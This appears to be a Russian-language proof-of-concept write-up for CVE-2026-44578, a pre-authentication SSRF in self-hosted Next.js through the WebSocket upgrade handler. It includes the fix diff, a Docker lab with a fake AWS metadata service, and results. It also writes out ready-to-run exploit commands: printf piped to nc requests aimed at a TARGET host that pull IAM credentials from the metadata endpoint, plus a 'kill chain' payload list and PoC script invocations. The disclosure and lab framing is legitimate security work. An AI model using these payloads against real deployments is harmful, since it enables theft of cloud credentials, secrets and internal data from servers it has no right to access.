CVE-2026-44578 — SSRF через обновление WebSocket в Next.js

Подделка серверного запроса (SSRF) до аутентификации в самостоятельно размещённых развёртываниях Next.js.
Один специально сформированный HTTP-запрос извлекает учётные данные AWS, секреты и данные внутренних сервисов с localhost:80.

Поле	Значение
CVE	CVE-2026-44578
GHSA	GHSA-c4j6-fc7j-m34r
CVSS 3.1	8.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)
Тип	SSRF (CWE-918)
Затронутые версии	Next.js 13.4.13 – 15.5.15, 16.0.0 – 16.2.4 (только самостоятельное размещение)
Исправлено в	15.5.16, 16.2.5
Требуется аутентификация	Нет
Взаимодействие пользователя	Нет

---

Уязвимость

Обработчик обновления WebSocket в router-server.ts вызывает proxyRequest() всякий раз, когда parsedUrl.protocol истинно — без проверки флагов завершения маршрутизации finished и statusCode, которые всегда применялись в HTTP-обработчике.

// router-server.ts — upgrade handler
- if (parsedUrl.protocol) {
-   return await proxyRequest(req, socket, parsedUrl, head)

// fix (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+   if (!statusCode) {
+     return await proxyRequest(req, socket, parsedUrl, head)
+   }
+   return socket.end()
  }

После того как normalizeRepeatedSlashes сворачивает http:/// в http:/, имя хоста становится null, и http-proxy подключается к localhost:80 с правильным путём. Любой совместно размещённый сервис (облачные метаданные, панели администратора, внутренние API) становится доступен.

---

Команда эксплуатации

printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\n\
Host: TARGET:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 TARGET 3000

curl не может отправлять URI в абсолютной форме. Используйте сырой TCP: nc, ncat, socat или сокеты Python.

---

Как это работает

Attacker                     Next.js (vuln)              localhost:80 (IMDS/service)
   |                              |                              |
   | GET http:///latest/meta-data/|                              |
   | Connection: Upgrade          |                              |
   | Upgrade: websocket           |                              |
   |----------------------------->|                              |
   |                              | url.parse -> protocol:'http' |
   |                              | "///" matches regex          |
   |                              | normalizeRepeatedSlashes     |
   |                              |   "http:///" -> "http:/"     |
   |                              | Returns: finished:true       |
   |                              |   statusCode:308             |
   |                              |   hostname:null              |
   |                              |                              |
   |                              | BUG: only checks protocol   |
   |                              | proxyRequest -> localhost:80 |
   |                              |   GET /latest/meta-data/     |
   |                              |----------------------------->|
   |                              |     200 OK + credentials     |
   |                              |<-----------------------------|
   |    200 OK + credentials      |                              |
   |<-----------------------------|                              |

---

Воспроизведение в лабораторных условиях

Предварительные требования

• Docker + Docker Compose
• Python 3.10+
• nc (netcat)

Настройка

git clone https://github.com/dinosn/CVE-2026-44578.git
cd CVE-2026-44578/lab
./setup.sh

Это запускает 5 контейнеров:

Контейнер	Роль	Открытый порт
nextjs-vuln	Next.js 15.5.15 (уязвимый)	localhost:3000
nextjs-fixed	Next.js 15.5.16 (исправленный)	localhost:3001
imds-sidecar-vuln	Фальшивый AWS IMDSv1, разделяющий сеть с уязвимым	localhost:80 (с точки зрения уязвимого)
imds-sidecar-fixed	Фальшивый AWS IMDSv1, разделяющий сеть с исправленным	localhost:80 (с точки зрения исправленного)
internal-api	Макет внутреннего сервиса	—

Боковые контейнеры IMDS используют network_mode: "service:nextjs-*", поэтому фальшивый сервис метаданных находится на localhost:80 внутри контейнера Next.js — моделируя реальный облачный экземпляр.

Запуск эксплойта

# Полный набор тестов (7 SSRF-зондов)
python3 ../exploit/poc.py -t http://localhost:3000 --test-all

# Извлечение единичных учётных данных
printf "GET http:///latest/meta-data/iam/security-credentials/NextjsAppRole HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000

# Подтверждение, что исправленный экземпляр блокирует запрос
python3 ../exploit/poc.py -t http://localhost:3001 --test-all

Завершение работы

./teardown.sh

---

Доказательства

1. Запуск лаборатории

Все контейнеры запущены — уязвимая версия (15.5.15) на :3000, исправленная (15.5.16) на :3001, боковые контейнеры IMDS разделяют пространства имён сети.

2. SSRF — Перечисление метаданных AWS

Один запрос возвращает полный каталог метаданных EC2 (ami-id, instance-id, iam/, placement/ и т.д.)

3. SSRF — Извлечение учётных данных IAM

Полный набор учётных данных IAM: AccessKeyId, SecretAccessKey, Token и Expiration.

4. SSRF — Секреты пользовательских данных

Сценарий начальной загрузки пользовательских данных EC2, содержащий DB_PASSWORD и API_KEY.

5. SSRF — Идентификатор экземпляра

Идентификатор экземпляра, извлечённый через тот же SSRF-вектор.

6. Исправленный экземпляр — заблокирован

Тот же пейлоад против Next.js 15.5.16. Соединение закрыто немедленно — данные не возвращены.

7. Логи IMDS — доказательство выполнения на стороне сервера

Логи фальшивого IMDS показывают GET-запросы, поступающие с 127.0.0.1 (процесс Next.js), что доказывает, что SSRF выполняется на стороне сервера.

8. Полный набор PoC — уязвимый (7/7 подтверждено)

Все 7 SSRF-тестов возвращают конфиденциальные данные на уязвимом экземпляре.

9. Полный набор PoC — исправленный (0/7 заблокировано)

Все 7 тестов заблокированы на исправленном экземпляре. Исправление подтверждено.

---

Пейлоады kill chain

# 1. Список категорий метаданных
printf "GET http:///latest/meta-data/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000